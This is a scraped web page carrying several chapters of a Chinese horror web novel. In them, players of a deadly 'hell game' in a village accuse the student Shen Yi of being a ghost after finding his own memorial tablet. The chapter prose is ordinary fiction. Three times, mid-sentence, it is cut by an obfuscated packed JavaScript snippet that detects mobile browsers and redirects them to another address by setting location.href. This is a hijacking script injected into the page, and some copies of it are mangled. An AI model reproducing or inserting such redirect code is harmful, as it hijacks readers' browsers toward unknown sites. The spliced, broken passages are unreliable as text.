他紧抿着嘴,点了点头:“我确实也没干过这些事……” “别跟我装,你俩肯定干过。”大波浪不屑道,“新人没有例外的,地狱从来不拉闲人。” 龚沧委屈地嚎:“怎么这样!我俩真的没干过啊!” 一声咔哒响。 龚沧一哽,转头望去。 一个秃成地中海的大爷村民站在窗边——那窗户也溅上了血,一片斑驳。 大爷拿出打火机来,给自己点上了一根烟。那声咔哒,就是打火机点了火的声音。 大爷皮肤黝黑,脸上的褶子“层层峦峦”,一双眼睛迷离地眯缝着。他对着窗外深吸一口烟,狠狠提起胸腔,又呼地把满口白烟吐了出来。 “还是没逃过。”大爷哑声说。 这话很有深意,所有“罪人”直起身来,望向他。 屋子里的村人们脸色灰败。一个大娘坐在墙边,手搓了两下脸,长叹一口气。新郎官的母亲刚刚已经被抬出去了,屋子里只留下了几个村人。 “先走吧,”大爷说,“去找渡衡和尚。” 村人们站起了身,抹了两把泪,低着脑袋往外走。 “你们也跟着过来。”大爷对“罪人”们说,“这事儿,你们还不知——……” 大爷突然“知”不下去了。 好像活见鬼了似的,大爷突然对着“罪人”们两眼一瞪,眼珠子都要瞪出来了。 那张黢黑的脸蹭地白了八个度,大爷“啊”地尖叫起来,连滚带爬地往后蹭蹭地退,直到咚地一下撞上背后的墙。 墙上挂着的“囍”字红十字绣晃悠两下,掉了下来。 一声重响,它碎在血淋淋的地上。 “罪人”们莫名其妙地看着大爷。 大爷脸色扭曲狰狞,指向沈奕,手哆嗦个不停,声音惊恐不已:“沈奕!!” 沈奕眨巴了两下眼睛。 对啊,他是沈奕,他叫沈奕。 那咋了? 沈奕正想着,却突然发现不对——旁人的眼神突然都变了。不止是村人们,连“罪人”们看着他的眼神都变了。 大波浪立马往旁边撤了好几步远,西装男也拉住不明所以的龚沧,把他拉到角落里,远离了沈奕。 沈奕身边立马空出来一大圈,所有人都在几秒内离了他八丈远,且各个面带戒备警惕。 “哎不是,”沈奕疑惑,“你们……” “鬼!!” 一旁一个村妇突然大叫起来,她拿起扫帚,对着沈奕就打过去,“有鬼!鬼!!” “!?” 扫帚朝着脑袋就打下来了,沈奕吓了一跳,一边躲开一边大叫:“什么玩意儿!?不是有话好好说啊你,什么,怎么我就鬼了!?姐!别打了——龚沧!救我啊!” 村妇拿着扫帚追着他打个没完,还打得面色狰狞咬牙切齿眼角挂泪用力得很,瞧着是强忍着害怕在驱赶他。 龚沧甩开西装男的手,冲上去想帮他。可刚出去半步,就一下子被西装男抓了回去。 “不能去!”西装男说,“那人不对劲,你别帮他!” 龚沧愕然:“不对劲儿?沈奕吗?” “是啊,”大波浪说,“这是地狱游戏,这些村人们都是NPC。NPC,从来不会知道玩家的名字的——是那种杀玩家的厉鬼的话倒是会知道,但这些村民显然不是。” “他们不会知道玩家的名字,却能准确叫出沈奕的真名。” “也就是说,那个沈奕,是这地狱游戏剧情的一部分——估计真的是鬼。”西装男下了定论。 龚沧瞪大了眼。 “沈奕是鬼!?”他震惊,“怎么可能啊!我们俩是大学舍友啊!我俩一起住了三年了,他能是鬼!?” 罪人们震惊了:“你俩大学舍友吗?” “废话!”龚沧甩开西装男的手,朝着被村妇追着打满屋跑的沈奕冲了过去,“老沈!撑住啊!” 沈奕转头,望见龚沧朝他奔来,顿时泪流满面——果然兄弟还是兄弟! 然而村妇并没停下,她一扫帚就精准地拍到了沈奕脑袋上:“去死!” 沈奕没躲过这一下子,只听脑袋咚的一声,他顿时就头晕眼花了。 他踉踉跄跄往旁边晃荡两步,扶着墙半蹲下去,捂住脑袋,脑子里嗡嗡的。 龚沧赶紧过来护住他,突然又听一声大喊。他转头一看,就见另一个老头村民不知道从哪儿搞来一斧头,也面目狰狞地朝他们冲过来:“沈奕!!” “害我们不得安生,害得张家老二不得好死!!” 眼瞅着那斧头就要招呼到脑袋上来,龚沧吓得大叫一声,松开沈奕,自己下意识地扑到旁边去,缩成一团,捂住了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152202|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋。 沈奕:“?” 不是。 不是!? 村民大吼着砍下斧头,沈奕吓得魂儿都飞了,赶紧往后一退,躲了过去。 一声巨响,那斧头劈开了墙面。 ——沈奕但凡晚一秒,这会儿估计已经脑袋开瓢了。 沈奕惊魂未定地喘起粗气,望着那斧头的刃,呼吸都颤抖,瞳孔都在地震。 这是他第一次离死亡这么近。 村民扭过脑袋,一双眼睛通红地死盯着沈奕,牙根都咬得咯咯作响——看起来可真是恨极了他。 沈奕脑子都木了。 他不理解,真的不理解,不理解这到底什么情况。 眼下的所有事情对他来说,真是超出了认知之外,不在脑子能消化的范围之中。 “住手!” 突然一声咚响,是拐杖敲在地上的声音。 众人循声望去,一个瘦小的小矮老头站在门口。 他头发花白,佝偻着腰,眉眼凹陷。那身形矮小并不伟岸,但却有股不怒自威的气场。 小老头疲惫的眉眼一扫全场,屋内正大叫的村民们立马都噤了声。 沈奕偏头一看,他身边这个拿斧头的小老头都凝固了一瞬,眼中的怒恨消下去了几分。 “都胡闹什么,”小老头又敲了敲手里的拐杖,厉声说,“东西都收起来!刚又出了人命,尸骨都没寒呢,就在死人跟前瞎闹!” 拿着扫帚的村妇忍不住一指沈奕,转身开口:“村长!哪儿是胡闹,这沈奕回来了,那和尚果然骗人的!” 小老头原来是村长。 村长扭过头来,将沈奕上上下下打量了番。 沈奕讪讪在他审视的目光里站好,讪讪挺直脊背,努力站直。 老头两只眼睛浑浊地在他身上咕噜了好一会儿。 将沈奕看了许久,他说:“这不是沈奕。” “什么?” “长得很像的年轻人罢了。”老头说,“你们瞎胡闹什么。都好好想想,村子里闹的鬼是沈奕吗?” 这话一出,村民们哑口无言。 “跟我来。” 村长慢慢悠悠地转过身去,放下这样一句话,“你们也跟我来,年轻人们。” * 天上下起了雨。 雨不小,滂沱地倾盆而下,顺着屋檐噼里啪啦地砸到地上,院子里很快多了好几滩水洼。 这是间祠堂。 祠堂里面牌位众多,正厅的空地上有把椅子。老村长坐在椅子上,“罪人”们就团团围坐在地上。 村民们站在门口或门外,有人望着里面的情形,有人一脸愁绪地望着外头正下着的雨。 “在你们这些孩子出门在外打拼的时候……我们杨庄子,出了大事。” 苍老的声音颤颤巍巍,沙哑难听,“三年前,村子里的破庙突然毫无缘由地烧起了大火,有个人活生生烧死在了里面。” “那火烧得邪性,烧了整整一天一夜。火灭以后,连尸骨都没找着。” “那天灭了火以后,我们还以为没人死在里面呢,庆幸了半天以后,才发现沈家少了个孩子。” “他一死,跟他一直要好的另一个孩子便伤心欲绝,竟然在不久后就跳河死了。”村子扼腕叹息,“也不知是情深还是什么,那孩子居然死后成了鬼,隔三差五地就……他闹得家家户户不得安宁,村子里都搬走十几家了。” 龚沧莫名其妙:“他化鬼报复村子干什么?” “谁知道呢,大约是心里有怨无处发泄,就干脆怨到所有村人身上来了吧。”村长说,“今日这婚宴上死了新娘新郎的事儿,已经不是第一次了。” “三年里,村里每每有人结婚,都会这样惨死在宴上。” “唉,红事变白事……” 村长叹着。 大波浪问了句:“三年前,那个跳河的孩子叫什么?” “别问了,多不吉利的事儿。”村长说。 村长把这问题敷衍了过去,但大波浪并不放弃。这茬儿不行,她就换了另一茬继续问:“那那个烧死的孩子,难道就是?” “是啊。” 村长沙哑地给了肯定。 沈奕黑着脸,站在村长后面——祠堂里面的供台面前。 供台上面供着一堆牌位,摆了一堆香炉。香烟袅袅里,供台的正中央,有个牌位被放在C位,高高供起。 牌位跟前的烧香前,还有上供的一盘果子贡品。 而牌位后头摆着一张黑白照片,是遗照。 沈奕伸手拿起那张黑白的照片。 老村长在他后面说:“就是沈奕。” 沈奕手里的照片上,黑白的他笑容那样灿烂。 真是——音容宛在。 笑、貌、犹、存。 永远怀念。 8. 鬼新郎(伍) 沈奕实在没忍住,手上一用力,当即把这张遗照给摁碎了。 他气笑了。 这都什么事儿。 这都什么事儿啊!? 他今天就只是出来玩个鬼屋而已好吗!只是鬼屋而已好不好! 结果莫名其妙被拉进这个村子里不说,还有个不知道是什么玩意儿的怪力乱神告诉他这儿是地狱,他被拉进地狱玩游戏了——这也就算了,这游戏刚开局没两分钟,NPC就告诉他他死了!? 死的是个跟他同名同姓的NPC就算了,王八了个羔子的怎么连长相都一模一样!? 沈奕受不了了,一甩照片,回头喊起来:“为什么跟我长得一样啊!?” 罪人们都仍然警惕地和他保持距离。 西装男冷漠极了:“继续装。” “?什么继续装!”沈奕说,“我真不是鬼啊!我在外头是大学生!凉艺的!动画文化科大三!学号E121402!学生证我都拿在手上呢,我要真是这山村老尸剧本的,我能在外面上大学吗!” 罪人们互相看看,又警惕地看着他。 所有人一言不发,将他上上下下审视了好几遍,神色各异。 瞧着是都不愿意相信他。 龚沧走到他旁边来,将祠堂的所有牌位扫了一眼之后,拿起了他沈奕的那个牌位。 “哗,”龚沧看着牌位上的字说,“1962至1983,哥们你英年早逝啊,享年二十一岁。” 沈奕今年正好二十一。 这话晦气得让他头皮都炸了,大骂一句之后,沈奕夺过龚沧手里的牌位,骂骂咧咧地放回到台子上。 “少说这么晦气的!”沈奕朝他喊,“老子长命百岁!长命百岁!!” “行了,别炸毛了。”大波浪出言道,“既然你这么说,就把学生证拿出来,给大家伙看看吧。可以吧?如果他真有学生证,那应该就不是鬼了。” “也对,如果有在上头能证明身份的东西,大概就不是鬼。” “拿出来吧。” 有人朝他伸出手。 沈奕求之不得,低头就去翻包。 翻了几下,他脸一白。 罪人们把他突变的脸色收进眼底:“怎么了?” 沈奕青白着脸,把自己的包打开一看,手也往深处一伸——他的手就那么水灵灵地穿过包,从底下伸了出来。 他的包,不知道什么时候破了个大洞。 龚沧被这一幕深深震撼,隐隐约约猜到了什么:“沈奕,你不会……” 沈奕收回手,在包里噼里啪啦摸了一通。 他脸色更加惨白地抬头:“我卡都没了。” 龚沧:“……” 罪人们:“……” 有人叹了口气。沈奕转头看去,叹气的是大波浪。她扶住额头,神色复杂至极,相当无语。 西装男脸色也很难看:“你的意思是,你拿不出学生证来了?” 场面有些尴尬,沈奕哈哈干笑起来:“最近比较倒霉,不知道什么时候就……” “就从包里掉出去了?”黄毛嗤笑,“你这跟上学和老师说作业忘在家里了有什么区别?” 沈奕无言以对。 “说好能拿出来看看,你这会儿又拿不出来了。”有人语气不善,“你不会真的是个鬼吧。” “我真不是啊……” “那你拿出证据啊。” 龚沧突然想起什么:“相册啊沈奕!上上个月你不是还拍了学生证给主任,去参加那个高校生动画大赛了吗!” 沈奕更想哭了:“我手机前段时间刚换的啊,主板烧了才换的!数据都没搬过来!” “……那你等死吧。” 沈奕痛苦地捂住脸。 “各位朋友,珍惜生命,快离他远点。” 不知谁这么说,然后一群罪人都从地上站起来,乌泱泱地一起往远处去了好些,围在门口重新坐下。 沈奕无助得想跳楼。 龚沧突然福至心灵,想起什么,连忙去翻自己的包:“对了对了,我能证明!我有学生证!我跟他一起住了三年宿舍了,我要是能证明我是学生的话,是不是就能证明他不是鬼了?” “不一定,很有可能是你被鬼洗脑了,其实你是一个人进来的。”西装男说,“你别费劲了,我们不会再跟他多说一句话的。” 龚沧动作一顿,嘴角抽了两下。 “话说回来,村长。”大波浪站在罪人们之间,问道,“三年里村子被那个溺死鬼到处祸害,你们就没做过什么?就这么干等着鬼上门?” “那怎么会呢。”村长说,“村子里请过一位和尚的。” 这么一提,沈奕想起来,在说他是个鬼之前,那村民的确还说,要带他们去找“渡衡”和尚。 大波浪问道:“是渡衡和尚吗?” “是啊,”村长点头,“渡衡和尚是赵大娘请来的,说是县城里面很灵的和尚……渡衡和尚来这儿以后,给了我们些符咒,让我们贴上。” “就是那个婚宴现场也贴着的符咒啊。”西装男说,“可是根本没用啊。” “是啊,而且你刚说,这三年里所有的婚宴上新郎新娘都死了。所以你们之前也请过那个和尚吧,不是很有问题吗?” 村长摇摇头:“渡衡和尚说了,符咒就是会有些问题,会有防不住的时候。” 说着,村长又叹息,“本以为这次弄了这么多符咒,一定没问题,万万没想到啊……这对新郎新娘,还是出了事。” “唉,万般皆是命。” 西装男皱着眉:“可……” “好啦,你们就别说啦。” 站在祠堂门口那儿等着的村民开口了。一个村妇走进来,说,“你们这群小年轻,不过就是回村看看而已,迟早还是要回去大城市打拼的咯,问东问西的晓得那么多事情干什么,又没有用。就别问了,这些事大人们会处理的啦,你们别放在心上了。” “有那个闲空啊,你们还不如赶紧去婚宴那边瞧一瞧,帮帮忙。这一下子红事变白事,老张家有的忙的咯。” 村妇吆喝着让他们赶紧走。 众人就这么被赶出了祠堂,连把伞都没讨到,就被村妇赶着回去了婚宴上。 大雨滂沱,他们全成了落汤鸡。 婚宴的屋院里同样被大雨浇透了个彻底。不知为何,院子里只有先前那个给他们那桌端了酸菜鱼来的姑娘在。她躲在屋檐底下凄凄切切地哭着,用一张白帕子抹着泪。 挡在桌上的新娘子没被抬走,她还躺在那里。大雨洗刷了她脸上的血,冲掉了她的妆容。那张桌子上滴滴答答着血水,鲜红的色彩从她身上的嫁衣往下蔓延——那嫁衣竟然是浸了血的。 摆了满院子的菜饭被雨淋着,挂了满院的红绫遭着风吹雨打,台子上的红符卷了边,好几张血红的符纸随风飞起,又被雨打落下地。 诡异的一幕。 沈奕站在远一些的雨里,默默地挨雨淋。没办法,那边那群站在屋檐底下的罪人都想离他远点,他过不去。 连龚沧都不在他身边站着了,跑去贴着大部队了。 人类真是个特别现实的物种。 沈奕孤零零地站在五米开外,听着那些人讨论着情况,望着阴沉落雨的天空。 正当他沉默地接受孤立时,耳边突然传来脚步声。 沈奕转头一看,大波浪居然走到了他身边,挨着他往墙上一靠,跟他一起淋起雨来。 “干什么?”沈奕一脸幽怨,“你不怕被我弄死啊,别过来啊,你们让我被浇死得了。” “闹什么脾气,我看你不像鬼。”大波浪嗤笑了声,“颜畔。” “什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152203|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我的名字。” 大波浪——颜畔抬头看了他一眼,朝他一笑,“礼尚往来。我知道了你的名字,你也得知道我的名字。” 沈奕笑了声:“好,颜小姐。” “话不多说,你怎么看?”颜畔问他,“这次的游戏。” “什么怎么看?” “总而言之,就先从整体说起吧。”颜畔说,“播报里面已经给了提示,提示是一首‘鬼新郎’的歌谣。” “那或许是那个死了的叫‘张二哥’的新郎有问题,后续我们得注意一下。但是除此以外,这村子也很奇怪。” “确实。”沈奕说,“整理一下,过到现在的剧情是,我们这一群人是在这个村子里长大,又外出打工的一群孩子,这次是为了参加张家和孙家的婚宴特地回来的。但是婚宴还没开始,就新娘跳楼新郎横死,红事变白事了。” “而且这种事并不是第一次了。三年里,这村子里每逢婚事,就会变成这样。” “村长不知道为什么特别淡定,且说话轻描淡写,傻子来听都听得出来,他在试图掩盖什么事情。” 颜畔补充:“而且村子里的人们都同意,甚至推波助澜。” “是啊,你们正准备再问问村长,那个村妇就跑出来要我们赶紧走。”沈奕道,“那个水鬼的原身到底是谁家的小孩,他也没有提,看来都得去查一查。” “沈家那边也得去一趟。真是,到处都是疑点呐。而且到现在都没接到一个任务,院子里不知道为什么又只有一个姑娘在哭。”颜畔叹了口气,拿出手机来看了眼时间,“而且都下午三点了。看这样子,一会儿接个任务,大家就得玩捉迷藏了。” “啊?什么捉迷藏?”沈奕说,“话说已经下午三点了?” 明明刚刚进这村子里的时候才清晨。 虽说的确发生了不少事,但时间过得也太快了。 沈奕拿出手机一看,还真是已经下午三点了。 “随着任务推进,如果这一天里规定的该完成的大部分任务,都被玩家们推进完成的话,时间也会被一定程度地提前。”颜畔说,“就像你在文本游戏里做完了对话任务,游戏里的夜晚就会立刻来临那样。” “好恰当的比喻。” “对吧。”颜畔说,“看这样子,不论是查村长还是查沈家,都得放到明天再说了,晚上大家可没有那个闲情雅致在外面逛街查案。一会儿大概六点左右就要天黑了,你想好藏哪儿没有?新人?” 她这么一提,沈奕才想起来,游戏播报里还说了晚上会有屠夫一样的角色出来晃荡。 都把这茬给忘了。 沈奕在大雨里揉了揉脑袋,面露为难。 他试探着问大波浪:“守夜人,都很难对付吗?” “很难。”大波浪说,“一群屠夫诶。” “倒也是。”沈奕转头望望这条路的尽头,“晚上我就自己找个隐秘的地方躲起来吧。” “好吧,祝你好运。” 沈奕没吭声,他仍然望着路的尽头。 路前方是两大排人家,有的屋院门前种着大树。大雨滂沱,屋院在雨幕里模糊不清,可沈奕却很清楚地记得哪家都是哪家,路的尽头处往左转和往右转的话地形又会有什么分别。 诡异的熟悉感仍然萦绕在心头。 忽然,一阵脚步声从后面传来。沈奕扭过头,一个村民正撑着伞,从后边跑了过来。 “你们都在这儿!”村民气喘吁吁地停下,说,“哎哟,我还找了你们半天。都跟我来,有事儿要你们帮忙。” 他招呼着众人,回过身就往另一边走。 “哎,等一下!” 沈奕出声叫住了村民。 村民停了下来。 沈奕顶着大雨小跑上前,鬼使神差地开口问他:“这村子里,有没有叫温默的?” 9. 鬼新郎(陆) 罪人们面露诧异。 村民同样诧异。 “温默?” 村民思索片刻,摇了摇头:“真是没听过这名字,他长什么样?” 沈奕又鬼使神差地伸手比划了一下:“大概这么高,特别瘦的一个人,黑头发,头发留得有点长。嗓子天生有点病,说不了话。” 沈奕有点不想直说温默是个哑巴,听起来太直白,太戳人家的痛处了。 那村民却不顾忌:“哦,哑巴啊。” 沈奕啧了声,抽抽嘴角:“对。” “那村子里没有这号人,杨庄子没有哑巴孩子。”村民说,“行了吧?都跟我来,还有事儿要你们帮忙呢。” 村民转身离开,罪人们三三两两地跟了上去。 雨打湿了面庞。沈奕抹了一把脸,撸了把湿透的头发。前刘海都被撸了上去,他顶着个大背头,又回头看了看身后的路,眉头紧锁。 幽幽的声音突然从身旁传来:“你上哪儿知道的这个名字的?” 沈奕浑身一哆嗦。 他回头一看,是西装男。 西装男笑眯眯的,两只手搁在额头前边,伸开手掌,给自己挡着雨。 “沈奕,”西装男笑眯眯地重复了一遍,“这个温默,是谁呀?” 沈奕哈哈干笑了两声,没敢多说什么,转头往前走——走了片刻,他就感受到身边众人投来的目光越来越奇怪了。 所有人都用一种意味深长且更加警惕的目光看着他。 沈奕后半拍地发觉自己说错话了。 他张了张嘴,本想解释,但想了想估计会越抹越黑,于是又讪讪闭上了嘴。 主要他想了想自己这将要说出口的解释——“其实我在进游戏之前就做了几天的梦,梦里就是个像这地方一样的村子,村子里我有个小男朋友叫温默所以我刚刚脑子一抽就去问了”。 太扯了,沈奕自己在心里编完台词,自己都不信。 众人顶着大雨,跟着村民来到了一户新的人家。 进了屋子里,众人都哀嚎了几声。 外头的雨下得这么大,他们却伞都不能打,就这么顶着一路大雨过来了。 所有人都湿透了。大家猛甩头发,颜畔把长长的头发攥在手里一挤,挤出来一堆水。 穿着外套的人把外套脱下来,也一挤,同样挤了一地的水。 罪人们叫苦连天,忍不住对这地狱怨声载道。 “真是的,怎么进这里要淋这么大的雨啊!” “到底搞什么啊这关,连伞都不让打!” 龚沧挤着自己的衣角,闻言也忍不住对旁边那人说:“你不是带着伞呢吗,我都看见了!都从你包里露出来了!为什么不打伞啊!” 他旁边的人啧了一声:“新人懂什么?你没听那播报的童谣都说了吗,莫打伞!” 龚沧一哽,地狱游戏最后播报的那首童谣,确实说了莫打伞。 他撇了撇嘴:“那童谣和播报就那么重要啊,搞得你这么听话。” “播报很重要。” 颜畔说。她揉着自己湿透了的头发,却没有丝毫不耐烦和抱怨,表情平静地望向他道,“这地狱里,NPC会说谎,线索会说谎,鬼怪会说谎,但播报永远不会说谎。” “播报给的每一个字,都是正确的。虽然会很谜语,会听得人云里雾里,但它是这里唯一、绝对不会说谎,能毫无顾虑地相信的东西。” “就是这么回事。”带伞的罪人白了龚沧一眼,“新人就闭上嘴,别给我添堵了,有病。” 他转身气呼呼地走了。 龚沧有些无措地站在原地。 “来齐了吧。” 有道苍老的声音突然说。沈奕转头看去,才看见屋子深处还坐着个人。听声音,似乎是个老太太。 外头大雨不停,天气阴沉,屋子里也只有一盏昏暗的老旧吊灯。吊灯只昏昏沉沉地照亮着门口的这一片,老太太坐在没有光的暗处,所以都没人注意到她。 她甫一出声,所有人都吓了一跳。 老太太坐在一张床上,只能依稀看见个人形,看不见她的模样。 罪人们都不说话了。 老太太咳嗽了两声。 “今天又横死了两个。”老太太叹着气说,“都三年了,一点儿记性都不长。” “算了……死者为大。今天不早了,事情出的突然,下葬得后天了。” “这村子好久都没死过人了,下葬用的东西有很多都不齐全。你们得帮着找一找,做一做……”老太太沙哑地说,“横死的人呐,有怨念。要是没下葬好,就会变成厉鬼报复……所以下葬的时候,你们可得小心点。” “你们明天……你们先过来些。” 罪人们面面相觑了下,相继上前。 走近过去,他们也看不见老太太的脸——真是很奇怪,沈奕走在最前面,照理说这个距离,他应该是能看见老太太的脸的轮廓的。 可老太太的脑袋和黑暗相融成一体,沈奕什么都看不见。 不过她身体和双手的轮廓倒是看得清。只见老太太抬起手,颤颤巍巍地指着沈奕,又指了指龚沧、颜畔和西装男。 “你们四个,”老太太说,“你们明天,去把轿子抬过来……轿子在村西边的破庙里。他们婚还没结,还有怨念,得让他们把婚结了。” 龚沧打了个冷战。他二十一年的人生里真是很少有眼下这种场景,即使立马想到了那个可能性,脑子也因为不想接受而自动屏蔽了这个答案。 他脸色惨白地宕机了:“死了还怎么结婚?” “傻蛋,当然是结冥婚了。”西装男说。 “轿子搬过来,把死人抬上去,结了冥婚,才能下葬。”老太太说罢,挥了挥手,“让开。” 龚沧还想问些什么:“可是……” 颜畔抬手就把他推走了。龚沧半句话都没问出来,就被推推搡搡地推下了场去。 沈奕也被推走了。 “姐,她说村西边的破庙,”沈奕回过半个脑袋来,小声问,“该不会是……” “多半是了。”颜畔也回头偷瞄了下老太太,“应该是你被烧死的那个庙。” “……不是我!我活得好好的呢!” “哦。” 颜畔表情平淡冷漠如一潭死水,“抱歉。” 沈奕无语:“那你的表情能不能‘抱歉’一点?” 颜畔说:“我面瘫。” 沈奕服了。 老太太继续在那儿阎王点卯。她又指了六个人去找两口棺材,四个人去做纸人,最后四个去他家后头准备墓碑元宝和天地银行的票子。 规划完一切,老太太放他们走了。她说还下着雨,又快天黑了,明天再准备,要他们都回去好好休息。 “不说了,不说了,”她说,“晚上再说这些,就太不吉利了,还可能把……” 说到这儿,老太太顿了顿,突然不往下再说了。沉默片刻以后她噗嗤笑了起来,苍老的声音突然尖利地咯咯出声,渗人极了。 “都回去吧。”她最后说,“回去好好睡一觉。” 众人你看看我我看看你,一阵无言。 外头还在下着大雨。 远处的天边已经黑起来了,颜畔把手机拿了出来,一看,已经16:40。 “一般六点到六点半之间天黑,”她说,“那老太太也说了,事情明天再说。就别烦恼那些了,咱们该去找地方躲起来了。” “是啊,守夜人要来了。”黄毛也说。 说着,几个人就大步流星地往外走去,说要去找地方躲起来。 龚沧愕然:“大家不一起躲吗?” 黄毛听笑了:“你傻蛋了吧你,大家躲一起?你生怕我们死得不够快?让他发现了,谁都跑不了,他马上就能弄死三个!” 龚沧被怼得脸一白,无言以对,又立刻涨红了脸。 眼看着龚沧脸上挂不住了,沈奕只好出来打了个圆场:“好了好了,我们也是不懂,你别欺负他了。” 黄毛啧了声:“我欺负他?真有意思。” 他说完走了,嘴里还嘟嘟囔囔地骂着人。 沈奕转头道:“话说回来,我记得播报还说,那个守夜人只能杀触犯了规则的‘罪人’,这个规则要怎么找?” “找不到。”西装男说,“不会给你任何线索,也没有任何线索,这个真的只能看命。” 沈奕脸一垮:“不是吧……” “现实就是这么残酷。”西装男抬脚离开,“那我也走了。” 龚沧忙说:“哎哥,我跟你一起!” “不行。”西装男朝他一笑,“不好意思,晚上这么性命攸关的时刻,我不想带新人。” “哎?” “你胆子一看就小,守夜人一凑近,你就尖叫一声暴露位置的话,我还怎么打。”西装男说,“拜拜咯。” 他无情地走远了。 沈奕痛快极了,他冷笑两声,对着刚刚也跟着众人远离了自己的龚沧冷言冷语道:“大佬不要你咯。” 龚沧:“……” “那我也走了。”颜畔说,“不好意思,我也不打算带新人。” 沈奕无所谓,他朝颜畔挥了挥手,跟她说了再见。 龚沧还想抓她这根救命稻草,转过头来挂着眼泪说:“姐,你带着我吧,我真不知道该去哪儿,这晚上会发生什么我也不知道啊,我会死的!” “所以才不能带你啊,不确定因素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152204|164873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多。” 颜畔挥了挥手也走远了。龚沧立马吓得掉下两行泪,赶忙又求救地看向别人——别的罪人立马躲开视线,众人一下子全都四散而去了。 一会儿的空,这家屋子前就一片空荡。除了沈奕跟龚沧,一个人都没有了。 “哇塞,”沈奕笑着在他身后说,“这就是人性幽微啊,小龚。” “……你还笑得出来!!” “我怎么笑不出来,想也知道他们谁都不会愿意带着我走的。走吧,还是说你不打算跟我走?” 龚沧抽了抽嘴角,转过身来。他一脸幽怨脸色灰白,沈奕却是一张笑脸——真不知道有什么好笑的。 “你怎么还笑得出来的,”龚沧还是忍不住嘟囔,“算了,咱俩走吧,两个总比一个强……有个人在旁边,我心里踏实点。” 沈奕耸了耸肩,转过身去,手插着兜进了雨里,往北边去了。 龚沧跟了上去,问他:“你打算去哪儿?” “村北边有户烂尾楼,小三层。地方不大,但是上下楼有空间,跑起来方便。”沈奕说。 龚沧一怔:“你怎么知道的?” 沈奕呵呵一笑:“我也想知道我怎么知道的。顺便一提,我还知道咱们刚刚进去的那家人姓王,就是刚刚那个发布任务的老太太那家。” “她家是村子里唯一一家做白事的,谁死了都得去她家拿钱安排。过年过节要烧纸的时候,也得去她家买纸钱。不止是这个村子,附近两三个村子的人都得来找她。毕竟再往远处去就得去县城买了,更远,每年过节去上坟也很麻烦。” “她家在西边有块儿地,但是没拿来做菜地,老太太把那地方盘下来做墓地了。整个地盘整整齐齐的全是墓碑,村里人和村外人都有。” 龚沧听得一愣一愣的:“你怎么知道的这么详细?” “我也想知道啊。”沈奕叹气,“刚进她家的时候我莫名其妙就知道了,简直就像以前来过,刚刚突然想起来了似的。” “……沈奕。” “啊?” 龚沧突然停下来了。沈奕回过头,就见龚沧一脸恐惧地盯着他:“你不会真的是鬼吧?” “……” 神经病。 “我要是鬼的话,现在就已经把你吃了。”沈奕说,“我怎么可能是鬼啊,真服了。你不信你拿个东西来捅我一刀,看看我会不会流血。” 沈奕说着,真的朝他伸出了一只胳膊。 他那眼神虽无语疲惫但很认真,看起来不像在扯谎。 龚沧却还是放心不下:“那不必了,我没拿刀。你就走我前面吧,你离我远点,保持距离啊,别跟我密接。” “……神经病。” 沈奕这回没忍住骂出了声。他转过身,继续往前走,“那你自己看着点儿距离吧,我就只往前走,你爱离我多远就离我多远。” 他往前继续走了一会儿,身后就响起了惴惴不安的脚步声,是龚沧跟了上来。 “沈奕,”龚沧又开口问他,“那你问的那个温默,是谁啊?” “没谁。”沈奕说,“放心好了,我真不是鬼。” “那倒不是,就是我也觉得这名字有点耳熟。” 沈奕一怔,回了回头:“真假的?” “真的啊。而且不知道为什么,我总感觉这村子不太陌生。”龚沧转转脑袋看看两侧,“有点熟悉,但也没那么熟悉。就好像是以前来过一两次的那种?” 龚沧拧紧双眉,看起来挺烦恼,并不像是说谎。沈奕沉默片刻,把脑袋扭了回去,望向眼前的路,没再看他,也没再说话。 大雨还在下,雨滴噼里啪啦地砸在身上。雨好像又大了,迷蒙了视线,打在身上都有些痛了。沈奕也皱了皱眉,不得不抬起手,伸开手掌挡在额头上,给自己小小地挡了下雨。 大雨下的村庄渐渐黑了下来,一片阴沉的灰蒙蒙里,又安静得杳无人烟,路上连个人影都没有。雨下得很冷,四面八方都阴森无声。 正巧路过一户人家。沈奕刚走过这家的家门口,突然脚步一顿。 龚沧跟在他后面停下:“怎么了?” 沈奕没吭声。 他沉默片刻,倒车似的后退了几步,转头看向这户的大门。 龚沧吓了一跳,赶紧也后退几步,甚至摆了个打架的架势:“你干什么!?” 沈奕没理他。 雨噼里啪啦地下,沈奕慢慢地放下了双手。 前发湿哒哒地贴在额头和皮肤上,雨水顺着脸颊淌下。 天阴沉发黑。 面前是道生锈的绿皮铁门,门上的一对门神受着风吹雨打,不知道已经经历了多少年月,已经变得黑乎乎又发黄。 大雨滂沱。 10. 鬼新郎(柒) 